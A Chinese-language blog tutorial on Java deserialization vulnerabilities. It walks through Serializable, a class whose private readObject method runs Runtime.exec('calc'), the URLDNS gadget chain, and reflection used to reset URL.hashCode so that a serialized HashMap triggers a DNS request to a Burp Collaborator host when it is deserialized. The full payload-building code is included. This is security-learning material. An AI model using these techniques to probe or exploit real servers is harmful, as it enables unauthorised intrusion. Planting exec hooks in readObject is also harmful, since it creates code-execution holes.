JavaSec反序列化初探(配合URLDNS)
基本demo
构建一个demo
实体类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package bli_seri;
import java.io.Serializable;
public class Person implements Serializable { private String name; private int age;
public Person(){
} public Person(String name, int age){ this.name = name; this.age = age; }
@Override public String toString(){ return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; } }
|
序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package bli_seri;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream;
public class SerializationTest { public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void main(String[] args) throws Exception{ Person person = new Person("happy", 40);
System.out.println(person);
} }
|
反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package bli_seri;
import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream;
public class UnserializeTest { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
public static void main(String[] args) throws Exception{ Person person = (Person) unserialize("ser.bin"); System.out.println(person); } }
|
能反序列化成功 有一个要求
这个实体类 必须实现这个接口
尝试去掉以后就会报错:
虽然这个接口是空的,但是必须要声明一下
注意点:当使用transient
标记时 不会被序列化存储
反序列化产生安全问题的原因:
服务端反序列化数据,其中传递类的readObject中的代码会自动执行,下面给个弹计算机的例子
在待反序列化的实体类中 重写readObject方法
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package bli_seri;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
public class Person implements Serializable { private transient String name; private int age;
public Person(){
} public Person(String name, int age){ this.name = name; this.age = age; }
@Override public String toString(){ return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; }
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{ ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); } }
|
有趣的点:
这里虽然说着重写readObject方法,但是为什么没有加Override的注解,这里的重写,真的是重写方法的意思吗
去看实体类中的奇怪接口Serializable的文档 看到我们readObject方法
翻译开头:在序列化和反序列化过程中需要特殊处理的类必须实现具有以下确切签名的特殊方法:
这里所说的重写readObject()
方法,并不是说重写父类中的方法,而是我们自定义个一个private修饰的readObject()
方法,在反序列化的过程中检测到我们程序中存在private修饰的readObject()
方法,就会去调用我们自定义的readObject()
方法,如果没检测到,则将调用默认的defaultReadFields
方法来读取目标类中的属性。
参考:https://xz.aliyun.com/t/14544?time__1311=GqAhDIkGkFGXwqeu4Yq7KG%3DmMizNDRO7bD
成功弹计算器了
但是上面这种如此直白的 肯定一般不存在,我们都需要找一个入口类,下面介绍一个初级的入口类
三步走战略:
入口类Source => 调用链Gadget chain => 执行类 sink
Map入口类
在HashMap.java中存在重写
看一个实例 URLDNS
效果:服务器接收到传入的值,然后反序列化后,收到对服务器发起的请求,证明服务器存在反序列化漏洞
先理解一下URL
实现了Serializable 可以进行反序列化 有希望!
去URL中有一个hashCode方法
这个方法的 先验证hashCode是否为-1 如果不等于-1 直接返回hashCode值
否则进入handler中的hashCode方法
注意:这里的默认初始值是-1
下面对这个序列化的过程 打个断点调试一下
put之前 hashCode还是-1
我们的本意想法是,注入一个恶意的访问地址,然后序列化传入,在服务器反序列化解析时发起请求
只要执行 调用hash函数 => 此时hashcode还是-1 => 调用hashCode方法 => 发起DNS请求(误导)
所以这里在序列化的时候,在本地就会请求一次,下面进行证明:
利用burp生成一个验证网址
序列化代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package bli_seri;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.net.URL; import java.util.HashMap;
public class SerializationTest { public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void main(String[] args) throws Exception{ Person person = new Person("happy", 40);
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>(); hashMap.put(new URL("http://eo63b7ig3mijlg6o44imrl6mpdv4jt.burpcollaborator.net"),1);
serialize(hashMap);
}
}
|
序列化成功捕获 但是不清楚为什么这么多
这个地方做一个避坑,一开始开代理了,导致burp一直收不到
但是执行结束后,hashCode变成其他值(一put 就改变)
导致反序列化时 根本收不到请求
那么如何才能成功利用呢
- 在put时不要发起请求,导致误导我们
- put之后吧hashCode改回-1 => 通过java的反射技术 改变已有对象的属性
Java反射
继上次 URLDNS的利用 想要继续操作 就要学习java反射
注意点:
四步走战略
- 反射就是操作Class
- 从原型Class里面实例化对象
- 获取类里面的属性
- 调用类里面的方法
实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| package bli_seri;
import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method;
public class ReflectionTest { public static void main(String[] args) throws Exception{ Person person = new Person(); System.out.println(person);
Class c = person.getClass();
Constructor personconstructor = c.getConstructor(String.class, int.class); Person p = (Person) personconstructor.newInstance("newhappy",22); System.out.println(p);
Field[] personfields = c.getDeclaredFields(); for(Field f : personfields){ System.out.println(f); }
Field namefield = c.getField("name"); namefield.set(p,"newnewhappy"); System.out.println(p); Field agefield = c.getDeclaredField("age"); agefield.setAccessible(true); agefield.set(p, 18); System.out.println(p);
Method[] personMethods = c.getMethods(); for(Method m : personMethods){ System.out.println(m); }
Method actionmethod = c.getDeclaredMethod("action", String.class); actionmethod.setAccessible(true); actionmethod.invoke(p, "test");
} }
|
掌握了上面的技能,下面对URLDNS的那个进行修改
把URL的注册放到外面,这样在进入put前 我们需要把hashcode进行修改 在这直接插入语句
可以看到new完之后 hashCode值为-1
后面修改成功
最后put结束 改为-1 目的时让反序列化时读取hashcode的值为-1 才能使得反序列化时发起请求
实例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| package bli_seri;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class SerializationTest { public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void main(String[] args) throws Exception{ Person person = new Person("happy", 40);
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://ddu2067fsl7iafvnt37lgkvleck48t.burpcollaborator.net"); Class c = url.getClass(); Field hashcodeField = c.getDeclaredField("hashCode"); hashcodeField.setAccessible(true); hashcodeField.set(url,666); hashMap.put(url, 1);
hashcodeField.set(url,-1);
serialize(hashMap);
}
}
|
总结一下URLDNS的原理:
在URL类中 有一个危险函数hashCode()
如果hashCode不为-1 不会触发handler.hashCode
否则hashCode只要为-1 就会触发的话会导致
这个地方发出请求
参考:
漏洞库:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
视频:https://www.bilibili.com/video/BV16h411z7o9/?p=2&spm_id_from=pageDriver&vd_source=a4aea8ec409c6984f7f8011ef9e58ac4